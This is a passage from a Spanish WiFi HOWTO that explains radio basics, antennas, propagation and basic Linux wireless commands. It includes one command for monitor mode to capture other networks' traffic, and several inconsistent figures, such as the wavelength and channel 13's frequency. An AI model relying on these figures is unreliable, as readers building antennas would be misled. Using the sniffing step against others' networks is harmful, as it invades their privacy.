Si en lugar de tirar una sola piedrecilla utilizásemos algún elemento que moviese el agua de una forma continua, como por ejemplo un grifo que dejase caer una gota cada cierto tiempo, las ondas se sucederían unas a otras y el agua del estanque se estaría moviendo de forma continua, mientras no cesase la gota. Esto es lo que hacen los osciladores* de RF en los equipos de transmisión de cualquier aparato electrónico que transmita algún tipo de onda electromagnética, en lugar de mover el agua de un estanque, mueven el aire*, el espectro radioeléctrico.
El tiempo que pasa entre que cae una gota y la siguiente sería la frecuencia*, el tamaño de la gota de agua y la altura desde la que cae, en este caso determinaría la fuerza con la que ésta choca contra el agua del estanque y por lo tanto la potencia, la fuerza con la que la onda se desplaza creando círculos concéntricos que como en las ondas electromagnéticas va disminuyendo según se aleja del centro de emisión.

TARJETA WIFI:

Conjunto de elementos electrónicos (hardware para los informáticos) que forman un
transceptor de radio. Esto es, un circuito emisor, un circuito receptor, una antena que sirve* a los dos y una fuente de alimentación que proporciona la energía eléctrica necesaria para el funcionamiento de estos circuitos.
El circuito emisor consta básicamente de un oscilador un modulador un amplificador y una antena. Desde que se conecta (la tarjeta wifi) el oscilador está produciendo una "onda portadora" en la banda de frecuencia de 2.4GHz (esto es en realidad entre el canal 1-2.412 GHz y el canal 13-2.484 GHz para usos comunes en wifi), esta onda es amplificada y entregada a la antena que la pondrá en contacto con el espectro radioeléctrico de una forma continua.

Si a este emisor le suministramos una información (tramas de bytes o paquetes en este caso..) se la pasará al modulador que la introducirá en ésa onda portadora de la que hablamos. El circuito receptor consta de una antena, un demodulador y un amplificador que como se puede
suponer hace lo contrario* que el emisor. La antena recibe una onda portadora en el mismo rango de frecuencias que el emisor, moduladas con la información, se la pasa al demodulador que extrae la información (electromagnética) convirtiéndola de nuevo en "tramas o paquetes", de ahí pasa un amplificador y después a la capa de red adecuada para ser enviada a los programas que la soliciten como si de una ethernet se tratase.

ANTENAS:

La antena es el elemento o conjunto de elementos radiantes, sería muy largo hablar de
antenas en profundidad (sobre todo para alguien que lleva más de 30 años trabajando con ellas), sólo diré algo que me parece fundamental. De la calidad de los materiales, de la exactitud de las medidas, de la posición y el lugar en que se instale, de la ganancia*, de la polarización y la direccionalidad de nuestras antenas depende el 90% de la calidad de la señal que nuestras tarjetas wifi emitan y reciban. el 5% restante se lo dejamos a las variables de propagación de la onda que no dependen de lo que nosotros hagamos en un 4% y el 1% final.. a la potencia de la parte emisora de las tarjetas wifi o de los AP.

Es muy probable que hayáis oído o leído lo contrario incluso que se puede conseguir un mayor alcance utilizando un amplificador de señal en el emisor. Esto para redes "caseras" no tiene sentido y además no es cierto.
El máximo de potencia permitida (legal) para 802.11b y 802.11g es de 100mW (esto es 100 milésimas partes de 1 Watio), todo lo que sea transmitir por encima de esa potencia en interiores es excesivo, produce ruido*, interferencias en redes vecinas (o sea.. en la del vecino de al otro lado de la pared) y no mejora nada la calidad de la información que se transmite ni aumenta su caudal* Si es necesario aumentar el alcance de un AP o de una tarjeta wifi lo adecuado es adquirir (o hacer) una antena con más ganancia se consigue mucho más colocando una antena de más calidad que un amplificador.
Si necesitamos enlazar dos lugares un poco apartados, por ejemplo el PC de nuestro salón con el PC de un amigo que vive en el edificio del otro lado de la calle, lo mejor es que los dos situemos antenas direccionales en el exterior (por ejemplo en una ventana o terraza), correctamente enfocadas* una hacia otra. Las antenas directivas concentran la radiación de ondas en una* dirección, en una forma que recordaría a un cono cuyo vértice estaría siempre pegado* a la antena. Las que suelen incorporar los AP que "regalan" las ISP son antenas omnidirecionales (esto es, emiten la señal en todas* direcciones) por lo qué una gran parte de la señal se pierde.
Todas las antenas tienes pérdidas, sobre todo en emisión. Si no están bien calculadas
o bien ajustadas, las ondas estacionarias (R.O.E.) se quedan* alrededor de la antena son muy altas y acaban regresando* al transmisor dificultando la salida de otras ondas y haciendo sufrir o quemando directamente las etapas finales (amplificadores de salida o lineales). La longitud del
cableado que une las antenas a los transmisores si es mucha o no está correctamente calculada
también produce grandes pérdidas de potencia*.
A la hora de calcular estas distancias deberíamos de tener en cuenta que siempre* deben de ser de una medida que represente un múltiplo de la longitud de onda (en el caso de wifi un múltiplo de 12,3cm que es la longitud de onda). La longitud de onda se consigue con esta fórmula: D = C x 1000 m/s / F x 1000000000 Hz que viene a ser, la longitud (distancia) en metros* de una onda igual a la velocidad de la luz en metros* dividida por la frecuencia de emisión en hertzios*.
Como la velocidad de la luz es una constante conocida en Km/s la multiplicamos por mil para convertirla en metros. Hacemos otro tanto con la frecuencia central* 2.437 GHz (que corresponde al canal 6 de wifi), multiplicando por mil millones para convertirla en hertzios y de esta forma obtendremos la longitud de onda en metros. Como el resultado es muy pequeño, en la práctica tendremos que usar los 12.4 cm, que es la medida real nuestra onda wifi.
Así, si vamos a construir antenas usaremos siempre esta medida de referencia y tendremos en cuenta 1/2 de 12.4 cm = 6,2 cm, 1/4 de 12.4 cm = 3,1 cm, porque los dipolos, iluminadores y otros elementos radiantes deben de calcularse de acuerdo a media onda o un cuarto de onda, para conseguir la resonancia adecuada y la mayor ganancia posible. Y para calcular la longitud de los cableados lo mismo pero hacia arriba. 12.4 cm x 2 = 24,8 cm, 12.4 cm x 4 = 49,6 cm, buscando siempre que la longitud del cable que separa la antena del emisor (tarjeta wifi), coincida con un múltiplo de 12.4 cm.


PROPAGACIÓN:

Cualidad de las ondas electromagnéticas para desplazarse de un lugar a otro (a otros..). Es otro tema largo y complicado para abordarlo en unas líneas. Baste por el momento saber que una buena propagación depende de muchas variables y que las más importantes son la frecuencia en la que se emite, la calidad de las antenas y (en wifi) el horizonte visual.

La longitud de onda es inversamente proporcional a la frecuencia para 2.4 GHz la longitud de onda es de 12 cm. Generalmente, cuanto más pequeña es la onda menor es su capacidad de propagación. Al hablar de ondas de 12 cm estamos hablando de "microondas" y esto viene a significar que si la antena emisora y la receptora no se ven** (no se encuentran en el campo visual la una de la otra, tomando como referencia lo que nuestros ojos pueden ver..), es muy difícil que puedan enlazar (recibir la una la señal que emite la otra y viceversa), si hablamos de exteriores imposible*.

Por qué entonces se comunican dos tarjetas separadas por una pared ?, entre distintas habitaciones de una misma vivienda, por ejemplo. Esto ocurre porque las ondas son capaces de atravesar algunos obstáculos como por ejemplo esa pared, pero lo hacen dentro de una vivienda porque los materiales de las paredes lo permiten y porque aunque al atravesar ese obstáculo la onda se atenúe, como la potencia es sobrante y el equipo receptor está a pocos metros, la señal que queda es suficiente para enlazar. Si la pared fuese metálica ya no sería posible. Hay materiales que absorben* las ondas electromagnéticas, otros las reflejan* como un espejo, y otros las refractan.

Y al hablar de materiales* también podemos considerar como tal a un ser humano que se interpone entre el emisor y el receptor wifi. Esas mismas ondas, en las mismas frecuencias (o muy cercanas) si las hacemos rebotar a la potencia adecuada dentro de un horno microondas asan un pollo en pocos minutos.

La calidad de la propagación sobre todo en exteriores también depende mucho de algunos fenómenos naturales. La más importante es la actividad solar (las manchas solares) que van de un periodo de máxima actividad al siguiente en tramos de 9 o 11 años (el último año de máxima actividad y por tanto de mucha "demasiada" propagación fue 2002, por lo tanto ahora en 2006 estamos acercándonos a la mitad del ciclo, esto es, bajando). Cuando hay mucha propagación en algunas frecuencias se pueden alcanzar distancias poco imaginables, pero esto afecta negativamente a emisores sensibles, por ejemplo a los que usan los satélites porque hay demasiado ruido* en el espectro y la confusión no es buena.

Tampoco hay que dejar de lado la influencia de algunos fenómenos meteorológicos, como la lluvia que dificulta mucho la propagación de microondas al interponerse entre puntos de emisión y recepción. La niebla espesa o la carga estática que producen las tormentas con aparato eléctrico.

Puede que alguien se pregunte por qué se a dejado esta frecuencia para las redes inalámbricas siendo como se ve tan variable y afectada por tantos elementos*. La respuesta es sencilla, el espectro radioeléctrico esta muy ocupado, las buenas* frecuencias (aquellas en las que la propagación es mucho más constante) son adjudicadas a quienes pagan las licencias para usarlas. Así que las partes del espectro que se pueden usar sin licencia (como es el caso de 2.4 GHz)son los peores.
No me extenderé enumerando quienes tienen las licencias para emitir en que frecuencias y con que potencias, pero cualquiera puede imaginarlo y es información en general pública que cualquiera puede consultar. Y.... si, el ejército y otra gente armada están entre los privilegiados.

Desde hace años (1978) en España ya no es delito escuchar* por lo que cualquier persona que pueda adquirir un buen escaner* (receptor que cubre un amplio espectro de frecuencias y tipos de modulación), puede escuchar desde las comunicaciones de los pilotos y las torres de control, pasando por las de la policía de tráfico, hasta las radio-balizas de la armada. En general cualquier emisión que no esté encriptada*.
Sigue siendo un delito "revelar a otros lo que se escucha en frecuencias no comerciales pero con licencia" excepto las adjudicadas a los radio-aficionados.

ÓRDENES BÁSICAS PARA OPERACIÓN EN WIFI


 ifconfig -a Informa sobre todos los interfaces de red disponibles

 ifconfig Información de interfaces de red activas*

 ifconfig ath0 Información de la interface de red ath0 que se le pasa
 como argumento

 ifconfig ath0 up Levanta la interface ath0

 ifconfig ath0 down Baja la interface ath0



 iwconfig Muestra todas las interfaces wifi* configuradas

 iwconfig ath0 Muestra toda la información de este interface

 iwconfig --versión informa sobre la versión de las wireless-extensions
 que usamos y la recomendada

 iwconfig ath0 essid xxxxx Establece el nombre de nuestra red o de otra
 a la que queramos asociarnos

 iwconfig ath0 mode master Pone la interface en modo AP como punto de acceso

 iwconfig ath0 mode monitor Para escuchar** trafico de redes externas

 iwconfig ath0 mode managed Modo infraestructura activo o pasivo para
 conectar a un AP

 iwconfig ath0 mode ad-hoc Modo punto a punto, se conecta entre dos
 tarjetas sin necesidad de APs

 wconfig ath0 channel 6 Fijamos el canal elegido para nuestra interface

 iwconfig ath0 freq 2.412G Fijamos el valor de frecuencia

 iwconfig ath0 rate 11M Fijamos la velocidad en las comunicaciones
 para 802.11b

 iwconfig ath0 rate 54M Fijamos la velocidad en las comunicaciones
 para 802.11g

 iwconfig ath0 rate auto Dejamos que la interface elija la velocidad
 de transferencia

 iwconfig ath0 essid "xxxxx" channel 7 rate auto #Varias opciones
 agrupadas en una misma orden



 iwlist --help Mostrará todas las opciones del comando

 iwlist ath0 scan Nos mostrara información de todas las redes
 inalámbricas que nuestra tarjeta detecta.

 iwlist ath0 frequency Muestra la frecuencia actual

 iwlist ath0 channel Muestra el canal actual*

 iwlist ath0 rate Indica las velocidad que tarjeta soporta y la
 velocidad actual (mediante current bit rate)



 iwpriv ath0 mode 2 Cambia la tarjeta atheros* al estándar 802.11b

 iwpriv ath0 mode 3 Cambia la tarjeta atheros* al estándar 802.11g


ADVERTENCIA


**** ¡¡¡¡ No vendemos tarjetas wifi, ni somos accionistas de la empresa que fabrica Atheros, ni siquiera trabajamos con el equipo que desarrolla software para el proyecto madwifi. A estas alturas del documento, puede que alguna mente retorcida pueda pensar algo por el estilo. Usamos (y aconsejamos a otros que usen) tarjetas wifi con chip Atheros por la misma razón que aconsejamos cualquier otro hardware que sea compatible con Linux. Por comodidad (no es agradable tener problemas para configurar el hardware) y para "apoyar de modo indirecto" a las empresas (como ésta) que liberan* las especificaciones técnicas que permiten que "programadores de las comunidades* de software libre/abierto" puedan escribir los drivers necesarios para que OS *BSD y *Linux puedan usar ese hardware con todas sus funcionalidades. Otros fabricante de hardware (sobre todo de tarjetas gráficas) optan últimamente por escribir drivers para OS *Linux y ofrecerlos en forma de binarios*. No estamos en contra de este método, pero preferiríamos que
facilitasen las especificaciones técnicas del hardware a programadores libres que conocen nuestros* OS, porque ellos escriben mejores drivers, los mantienen actualizados y liberan el código fuente para que otros puedan auditar, corregir, mejorar o añadir funcionalidad a esos drivers. Apoyamos a quienes nos tuvieron en cuenta como sector minoritario que somos, los usuarios de OS UNIX y tipo UNIX y a las empresas que liberan especificaciones y código ¡¡¡¡ ****

CRÉDITOS


Es obligado recordar que todo lo que figura en este documento referido las distintas técnicas expuestas se puede encontrar en otros documentos existentes en la red Internet. He recogido algunos consejos y curiosidades de otras webs, los links a todas ellas y algunos más figuran en el apartado anterior.

Leyendo detenidamente elFreeBSD Handbook
(también existe una versión en castellano, aunque no está tan completa ni tan actualizada como la original, por razones evidentes. Los "man" de ifconfig, iwconfig, netstat, sockstat, y el resto de programas que se mencionan en este documento, algunos disponibles en OS *Linux, otros en OS *BSD y otros, en todas las versiones de los dos sistemas operativos. Es posible hacer las mismas cosas y llegar a similares resultados, sin haber leído nunca este HOWTO.

Este documento ha sido creado gracias a las aportaciones de un grupo de personas, partiendo de una idea que un día discutimos algunos usuarios habituales del canal #wifi, de la red del IRC-Hispano. Un avance de esa idea se puede leer en el blog ankalima, también se puede copiar, ampliar, corregir y cambiar, siempre que se nombre a los autores y la web de origen. Algunos de ellos han colaborado activamente, aportando ideas, enlaces, textos, correcciones y ánimo. Menciono los nicks que utilizan en el IRC y todos los datos que me está permitido facilitar.

Apartado: ESTILO Gentooza (Topo)

Apartado HABILITANDO WPA + AES en Debian/Linux (Erni_)

Textos Linux: (PeriBrown, madre y eluthingol)

Textos FreeBSD: (eluthingol)

Correcciones: (Erni_, PeriBrown, NoWired y Koji) (de www.eldemonio.org, en el apartado de OS FreeBSD

Redacción y maquetaciones: (eluthingol, NoWired, Koji y madre

Aprovecho una vez más, para dar las gracias a todas las personas que emplean su tiempo y sus conocimientos en escribir, empaquetar y testear, tantos millones de líneas de código, para después "regalarlo" a la humanidad.

En especial a la gente que desarrolla y mantiene FreeBSD. A Patrick J. Volkerding y quienes le ayudan en el desarrollo de Slackware. A la gente que pica código, empaqueta, testea y mantiene Debian. También a los activos miembros de la comunidad* que mantiene Gentoo.

Sin olvidar a aquellos que mantienen sitios web y listas de correo para estos OS. A los que traducen manuales, HOWTOS, FAQs, artículos y por supuesto a quienes los escriben. Así como a todos los que usan el IRC para comunicar sus conocimientos y experiencias con estos OS.

He puesto links a todas las webs en las que he encontrado información valiosa, habrá otras en las que haya buena información sobre este tema que yo no he visto. Si alguien cree que su web o una que conoce debiera de figurar enlazada desde este howto, que me envíe el link a eluthingol y si aporta información que complementa este documento será añadido.

Salve fratris